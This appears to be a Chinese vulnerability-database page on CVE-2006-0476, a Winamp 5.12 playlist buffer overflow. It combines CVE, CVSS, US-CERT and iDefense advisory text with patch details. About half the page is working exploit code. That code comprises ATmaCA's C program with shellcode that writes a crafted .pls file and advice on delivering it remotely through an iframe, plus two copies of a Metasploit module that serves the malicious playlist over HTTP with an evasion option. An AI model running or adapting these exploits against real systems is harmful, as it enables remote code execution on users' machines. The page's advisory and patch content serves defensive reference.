CVE-2006-0476
CVSS7.6
发布时间 :2006-01-31 06:03:00
修订时间 :2011-03-07 21:30:08
NMCOEPS    

[原文]Buffer overflow in Nullsoft Winamp 5.12 allows remote attackers to execute arbitrary code via a playlist (pls) file with a long file name (File1 field).


[CNNVD]Nullsoft Winamp畸形播放列表文件处理远程缓冲区溢出漏洞(CNNVD-200601-367)

        Winamp是Nullsoft发布的免费音频播放器,支持多种音频格式。
        Winamp在处理播放列表文件时存在缓冲区溢出漏洞。攻击者可以构造超长的完整路径,该路径可以是实际上并不存在的文件共享的文件名或UNC名。如果用户打开了上述文件的话,就会覆盖栈缓冲区,导致执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.6 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:1402Winamp Hostname Buffer Overflow
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0476
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0476
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200601-367
(官方数据源) CNNVD

- 其它链接及资源

http://www.us-cert.gov/cas/techalerts/TA06-032A.html
(UNKNOWN)  CERT  TA06-032A
http://www.kb.cert.org/vuls/id/604745
(UNKNOWN)  CERT-VN  VU#604745
http://secunia.com/advisories/18649
(VENDOR_ADVISORY)  SECUNIA  18649
http://xforce.iss.net/xforce/xfdb/24361
(UNKNOWN)  XF  winamp-playlist-filename-bo(24361)
http://xforce.iss.net/xforce/xfdb/24361
(UNKNOWN)  XF  winamp-playlist-filename-bo(24361)
http://www.winamp.com/player/version_history.php
(UNKNOWN)  MISC  http://www.winamp.com/player/version_history.php
http://www.vupen.com/english/advisories/2006/0361
(UNKNOWN)  VUPEN  ADV-2006-0361
http://www.securityfocus.com/bid/16410
(UNKNOWN)  BID  16410
http://www.securityfocus.com/archive/1/archive/1/423548/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060131 Re: Re: Winamp 5.12 - 0day exploit - code execution through playlist
http://www.securityfocus.com/archive/1/423436/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060130 Winamp 5.12 - 0day exploit - code execution through playlist
http://www.osvdb.org/22789
(UNKNOWN)  OSVDB  22789
http://www.heise.de/newsticker/meldung/68981
(UNKNOWN)  MISC  http://www.heise.de/newsticker/meldung/68981
http://securitytracker.com/id?1015552
(UNKNOWN)  SECTRACK  1015552
http://www.milw0rm.com/exploits/3422
(UNKNOWN)  MILW0RM  3422
http://securityreason.com/securityalert/398
(UNKNOWN)  SREASON  398
http://securityreason.com/securityalert/386
(UNKNOWN)  SREASON  386
http://milw0rm.com/exploits/1458
(UNKNOWN)  MILW0RM  1458

- 漏洞信息

Nullsoft Winamp畸形播放列表文件处理远程缓冲区溢出漏洞
高危 缓冲区溢出
2006-01-31 00:00:00 2007-02-27 00:00:00
远程  
        Winamp是Nullsoft发布的免费音频播放器,支持多种音频格式。
        Winamp在处理播放列表文件时存在缓冲区溢出漏洞。攻击者可以构造超长的完整路径,该路径可以是实际上并不存在的文件共享的文件名或UNC名。如果用户打开了上述文件的话,就会覆盖栈缓冲区,导致执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        http://www.winamp.com/player

- 漏洞信息 (1458)

Winamp <= 5.12 (Crafted PLS) Remote Buffer Overflow Exploit (0-Day) (EDBID:1458)
windows remote
2006-01-29 Verified
0 ATmaCA
N/A [点击下载]
/*
*
* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
* Bug discovered & exploit coded by ATmaCA
* Web: http://www.spyinstructors.com  && http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to Kozan
*
*/

/*
*
* Tested with :
* Winamp 5.12 on Win XP Pro Sp2
*
*/

/*
* Usage:
*
* Execute exploit, it will create "crafted.pls" in current directory.
* Duble click the file, or single click right and then select "open".
* And Winamp will launch a Calculator (calc.exe)
*
*/

/*
*
* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.
*
* http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define BUF_LEN         0x045D
#define PLAYLIST_FILE   "crafted.pls"

char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
char szPlayListHeader2[] = "\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";

// Jump to shellcode
char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";

// Harmless Calc.exe
char shellcode[] =
        "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
        "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
	"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
	"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
	"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
        "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
	"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
	"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
	"\x61\xdd\x0e\x4d";


int main(int argc,char *argv[])
{
        printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
        printf("\nBug discovered & exploit coded by ATmaCA");
        printf("\nWeb: http://www.spyinstructors.com  && http://www.atmacasoft.com");
        printf("\nE-Mail: atmaca@icqmail.com");
        printf("\nCredit to Kozan");

        FILE *File;
        char *pszBuffer;

        if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
                printf("\n [Err:] fopen()");
                exit(1);
        }

        pszBuffer = (char*)malloc(BUF_LEN);
        memset(pszBuffer,0x90,BUF_LEN);
        memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
        memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
        memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
        memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);

        fwrite(pszBuffer, BUF_LEN, 1,File);
        fclose(File);

        printf("\n\n"  PLAYLIST_FILE  " has been created in the current directory.\n");
        return 1;
}

// milw0rm.com [2006-01-29]
		

- 漏洞信息 (16531)

Winamp Playlist UNC Path Computer Name Overflow (EDBID:16531)
windows local
2010-04-30 Verified
0 metasploit
N/A [点击下载]
##
# $Id: winamp_playlist_unc.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Winamp Playlist UNC Path Computer Name Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Winamp media player.
				This flaw is triggered when a audio file path is specified, inside a
				playlist, that consists of a UNC path with a long computer name. This
				module delivers the playlist via the browser. This module has only
				been successfully tested on Winamp 5.11 and 5.12.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'hdm',
					'Faithless <rhyskidd [at] gmail.com>'
				],
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2006-0476'],
					['OSVDB', '22789'],
					['BID', '16410'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 526,
					'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
					'Compat'   =>
						{
							'ConnectionType' => '-find',
						},

					# Landing on \x5c\x5c trashes esp, restore from ecx
					'PrependEncoder' => "\x87\xe1",
					'StackAdjustment' => -3500,

					# Dont need them, dont want them, preserve esi
					'DisableNops' => true,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Return to exe, but don't clobber ecx, 0x0d is replaced by 0x00
					[ 'Winamp 5.12 Universal', { 'Ret' => 0x0d45fece }],
				],
			'DisclosureDate' => 'Jan 29 2006',
			'DefaultTarget'  => 0))

		register_evasion_options(
			[
				OptBool.new('PlaylistSpaceInjection', [false, 'Add junk spaces in between each entry item in the playlist"', 'false'])
			])
	end

	def on_request_uri(cli, request)

		if (not request.uri.match(/\.pls$/i))
			if ("/" == get_resource[-1,1])
				pls_uri = get_resource[0, get_resource.length - 1]
			else
				pls_uri = get_resource
			end
			pls_uri << "/" + rand_text_alphanumeric(rand(80)+16) + ".pls"
			html =
				"<html><body>"+
				"<script>" +
				"document.location='#{pls_uri}'</script>" +
				"One second please...</body></html>"
			send_response_html(cli, html)
			return
		end

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the compressed response to the client
		send_response(cli, generate_playlist(p), { 'Content-Type' => 'text/plain' })

		# Handle the payload
		handler(cli)
	end

	def generate_playlist(payload)

		pcnt = rand(10)+10;

		file = rand_text_english(1026)
		file[1022  , 4] = [target.ret].pack('V')
		file[0, payload.encoded.length] = payload.encoded

		play =
			"[playlist]\r\n"                 +
				generate_songs(pcnt)         +
				generate_song(pcnt + 1, "\\\\#{file}") +
				generate_line('NumberOfEntries', "#{pcnt+1}") +
				generate_line('Version', '2')
		return play
	end

	def generate_space
		if datastore['PlaylistSpaceInjection'] == true
			return rand_text(rand(100)+1, nil, " \t")
		else
			return ''
		end
	end

	def generate_song(id, file)
		return generate_line("File#{id}", file) +
				generate_line("Title#{id}", rand_text_alphanumeric(rand(64)+1)) +
				generate_line("Length#{id}", "%x" % (rand(1024) + 30))
	end

	def generate_line(key, value)
		return generate_space + key + generate_space + '=' + generate_space + value + generate_space + "\r\n"
	end

	def generate_songs(cnt)
		songs = ''
		1.upto(cnt) do |i|
			songs << generate_song(i, rand_text_alphanumeric(rand(64)+1))
		end
		return songs
	end

end
		

- 漏洞信息 (F82961)

Winamp Playlist UNC Path Computer Name Overflow (PacketStormID:F82961)
2009-11-26 00:00:00
H D Moore,Faithless  metasploit.com
exploit
CVE-2006-0476
[点击下载]

This Metasploit module exploits a vulnerability in the Winamp media player. This flaw is triggered when a audio file path is specified, inside a playlist, that consists of a UNC path with a long computer name. This Metasploit module delivers the playlist via the browser. This Metasploit module has only been successfully tested on Winamp 5.11 and 5.12.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Winamp Playlist UNC Path Computer Name Overflow',
			'Description'    => %q{
				This module exploits a vulnerability in the Winamp media player.
			This flaw is triggered when a audio file path is specified, inside a
			playlist, that consists of a UNC path with a long computer name. This
			module delivers the playlist via the browser. This module has only
			been successfully tested on Winamp 5.11 and 5.12.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 
				[
					'hdm',
					'Faithless <rhyskidd [at] gmail.com>'
				],
			'Version'        => '$Revision$',
			'References'     => 
				[
					['CVE', '2006-0476'],
					['OSVDB', '22789'],
					['BID', '16410'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 526,
					'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
					'Compat'   => 
						{
							'ConnectionType' => '-find',
						},
					
					# Landing on \x5c\x5c trashes esp, restore from ecx
					'PrependEncoder' => "\x87\xe1",
					'StackAdjustment' => -3500,
					
					# Dont need them, dont want them, preserve esi
					'DisableNops' => true,
					
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Return to exe, but don't clobber ecx, 0x0d is replaced by 0x00
					[ 'Winamp 5.12 Universal', { 'Ret' => 0x0d45fece }],
				],
			'DisclosureDate' => 'Jan 29 2006',
			'DefaultTarget'  => 0))

		register_evasion_options([
			OptBool.new('PlaylistSpaceInjection', [false, 'Add junk spaces in between each entry item in the playlist"', 'false'])
			])
	end

	def on_request_uri(cli, request)
	
		if (not request.uri.match(/\.pls$/i))
			html =
				"<html><body>"+
				"<script>" + 
				"document.location='" +
				get_resource + '/' + 
				rand_text_alphanumeric(rand(80)+16) + 
				".pls'</script>" +
				"One second please...</body></html>"
			send_response_html(cli, html)
			return
		end

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the compressed response to the client
		send_response(cli, generate_playlist(p), { 'Content-Type' => 'text/plain' })
		
		# Handle the payload
		handler(cli)
	end
	
	def generate_playlist(payload)
		
		pcnt = rand(10)+10;
		
		file = rand_text_english(1026)
		file[1022  , 4] = [target.ret].pack('V')
		file[0, payload.encoded.length] = payload.encoded
		 
		play =
			"[playlist]\r\n"                 +
				generate_songs(pcnt)         +
				generate_song(pcnt + 1, "\\\\#{file}") + 
				generate_line('NumberOfEntries', "#{pcnt+1}") +
				generate_line('Version', '2')
		return play	
	end

	def generate_space 
		if datastore['PlaylistSpaceInjection'] == true
			return rand_text(rand(100)+1, nil, " \t")
		else
			return ''
		end
	end

	def generate_song(id, file)
		return generate_line("File#{id}", file) +
				generate_line("Title#{id}", rand_text_alphanumeric(rand(64)+1)) +
				generate_line("Length#{id}", "%x" % (rand(1024) + 30))
	end

	def generate_line(key, value)
		return generate_space + key + generate_space + '=' + generate_space + value + generate_space + "\r\n"
	end
	
	def generate_songs(cnt)
		songs = ''
		1.upto(cnt) do |i|
			songs << generate_song(i, rand_text_alphanumeric(rand(64)+1))
		end
		return songs
	end

end
    

- 漏洞信息 (F43546)

Technical Cyber Security Alert 2006-32A (PacketStormID:F43546)
2006-02-02 00:00:00
US-CERT  us-cert.gov
advisory,remote,web,overflow,arbitrary
CVE-2006-0476
[点击下载]

Technical Cyber Security Alert TA06-032A - America Online has released Winamp 5.13 to correct a buffer overflow vulnerability. By convincing a user to open a specially crafted playlist file, a remote unauthenticated attacker may be able to execute arbitrary code with the privileges of the user. Winamp may open a playlist file without any user interaction as the result of viewing a web page or other HTML document.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


                        National Cyber Alert System

                Technical Cyber Security Alert TA06-032A


Winamp Playlist Buffer Overflow

   Original release date: February 1, 2006
   Last revised: --
   Source: US-CERT


Systems Affected

   Microsoft Windows systems with Winamp 5.12 or earlier


Overview

   America Online has released Winamp 5.13 to correct a buffer overflow
   vulnerability. Exploitation of this vulnerability could allow a remote
   attacker to execute arbitrary code with the privileges of the user.


I. Description

   Winamp is a media player that is commonly used to play MP3 files.
   Winamp 5.13 resolves a buffer overflow vulnerability in how playlist
   files are handled. Details are available in the following
   Vulnerability Note:

   VU#604745 - Winamp fails to properly handle playlists with long
   computer names

   Winamp contains a buffer overflow vulnerability when processing a
   playlist that specifies a long computer name. This may allow a remote
   unauthenticated attacker to execute arbitrary code on a vulnerable
   system.


II. Impact

   By convincing a user to open a specially crafted playlist file, a
   remote unauthenticated attacker may be able to execute arbitrary code
   with the privileges of the user. Winamp may open a playlist file
   without any user interaction as the result of viewing a web page or
   other HTML document.


III. Solution

Upgrade

   Upgrade to Winamp 5.13.


Appendix A. References

     * US-CERT Vulnerability Note VU#604745 -
       <http://www.kb.cert.org/vuls/id/604745>
     * CVE-2006-0476 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0476>
     * National Vulnerability Database (CVE-2006-0476) -
       <http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-0476>
     * WINAMP.COM | Player | Version History -
       <http://www.winamp.com/player/version_history.php>
     * WINAMP.COM | Player - <http://www.winamp.com/player>


 ____________________________________________________________________

   The most recent version of this document can be found at:

     <http://www.us-cert.gov/cas/techalerts/TA06-032A.html>
 ____________________________________________________________________

   Feedback can be directed to US-CERT Technical Staff. Please send
   email to <cert@cert.org> with "TA06-032A Feedback VU#604745" in the
   subject.
 ____________________________________________________________________

   For instructions on subscribing to or unsubscribing from this
   mailing list, visit <http://www.us-cert.gov/cas/signup.html>.
 ____________________________________________________________________

   Produced 2006 by US-CERT, a government organization.

   Terms of use:

     <http://www.us-cert.gov/legal.html>
 ____________________________________________________________________


Revision History

   Feb 1, 2006: Initial release






-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iQEVAwUBQ+EN2H0pj593lg50AQL/zQgAqqNNsBwOLdKKb+e98yUUPRSyj38BKA1G
R4nBJ3mO85BvFFqS9NdcPSYH1DgELKhYwOoicEsbX0bmaF+lmr2ClHBO4af6fA3/
bhLksKmf5qtm61SSIuEVyBsXsDwSFQpLACOAkgarW5D5Ii4bW3CDlc9H/4dHYT3j
jiGMSVBmYWGjyEMEVznZ1liURyK6BpVHGQI0bf2/dhSk3150LJzwa0vACjnCJEeB
0Fs/s7xkAPoGDT4PxWxe/KEK03PZpJY6yZhCP6IayJsuO7kMQhzBoROK615X/Od5
ctU6qLPx8VIcyW7b9xVMl0OuZf7R412qd74bmnDfIYeGexxuLMifFg==
=NZIe
-----END PGP SIGNATURE-----
    

- 漏洞信息 (F43543)

iDEFENSE Security Advisory 2006-02-01.2 (PacketStormID:F43543)
2006-02-02 00:00:00
iDefense Labs,b0f,Ruben Santamarta  idefense.com
advisory,remote,code execution
CVE-2006-0476
[点击下载]

iDefense Security Advisory 02.01.06 - It has been found that a specially crafted m3u or pls file can overwrite a stack based buffer allowing for remote code execution. This vulnerability is specific to the 5.11 version of Winamp and does not affect previous versions.

Winamp m3u Parsing Stack Overflow Vulnerability

iDefense Security Advisory 02.01.06
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=377
February 1, 2006

I. BACKGROUND

Winamp is a popular media player for Windows which supports many
audio/video file formats.

More information can be obtained from the vendors site at:

 http://winamp.com/player/

II. DESCRIPTION

It has been found that a specially crafted m3u or pls file can overwrite
a stack based buffer allowing for remote code execution.

Example m3U file format:

#EXTM3U
#EXTINF:,VULN
AAAA[...]AA

Example pls file to trigger exploit:

[playlist]
numberofentries=1
File1=\\01 01AAA[...]AAA

This vulnerability is specific to the 5.11 version of Winamp and does
not affect previous versions.

III. ANALYSIS

When Winamp is installed it registers the m3u extension so that such
files  will automatically open in Winamp. This exploit can be triggered
by  clicking on a link in a webpage, or from the use of malicious
javascript.

Exploitation is straight forward, using a long full path. This path
can be either a filename or the UNC name for a fileshare, which does
not have to exist.

Public exploit code has been independently released for this
vulnerability (http://www.spyinstructors.com).

IV. DETECTION

This exploit was tested with version 5.11 of Winamp. Previous versions
were tested and found to not be exploitable.

V. WORKAROUND

Removing the file associations for the m3u and pls file extension may
mitigate the risk of exploitation.

VI. VENDOR RESPONSE

The vendor has not responded to communication regarding this
vulnerability.

The vulnerability appears to have been silently fixed in Winamp 5.13
which is available for download at:

  http://www.winamp.com/player/

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2006-0476 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

12/15/2005 Initial vendor notification
02/01/2006 Public disclosure

IX. CREDIT

This vulnerability was independently discovered by Alan Mccaig (b0f)
b0fnet@yahoo.com and Ruben Santamarta (ruben@reversemode.com).

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

X. LEGAL NOTICES

Copyright (c) 2006 iDefense, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.


    

- 漏洞信息

22789
Winamp Playlist Processing File Tag Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Commercial Vendor Verified

- 漏洞描述

A remote overflow exists in WinAmp. WinAmp fails to perform correct boundary checks on playlists resulting in a buffer overflow. With a specially crafted playlist, an attacker can execute arbitrary code resulting in a loss of integrity.

- 时间线

2006-01-30 Unknow
2006-01-30 Unknow

- 解决方案

Upgrade to version 5.13 or higher, as it has been reported to fix this vulnerability. It is also possible to mitigate the flaw by disable auto launching Winamp for playlist files as a workaround.

- 相关参考

- 漏洞作者

- 漏洞信息

Nullsoft Winamp Malformed Playlist File Handling Remote Buffer Overflow Vulnerability
Boundary Condition Error 16410
Yes No
2006-01-30 12:00:00 2007-11-02 04:26:00
Discovered by ATmaCA. iDefense reports that this issue was independently discovered by Alan Mccaig (b0f) <b0fnet@yahoo.com> and Ruben Santamarta <ruben@reversemode.com> as well.

- 受影响的程序版本

NullSoft Winamp 5.12
NullSoft Winamp 5.11
NullSoft Winamp 5.13

- 不受影响的程序版本

NullSoft Winamp 5.13

- 漏洞讨论

Winamp is susceptible to a buffer-overflow vulnerability when handling specially crafted playlist files.
An attacker may exploit this issue to gain unauthorized access to a computer with the privileges of the user that activated the vulnerable application.

Winamp 5.11 and 5.12 are reportedly affected by this issue.

- 漏洞利用

Exploit code is available.

http://www.securityfocus.com/data/vulnerabilities/exploits/winamp0day.c

Exploit code 'winamp_playlist_unc.pm' has been released as part of the Metasploit framework.

http://www.securityfocus.com/data/vulnerabilities/exploits/winamp_playlist_unc.pm

UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

- 解决方案

The vendor has released version 5.13 to address this issue.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站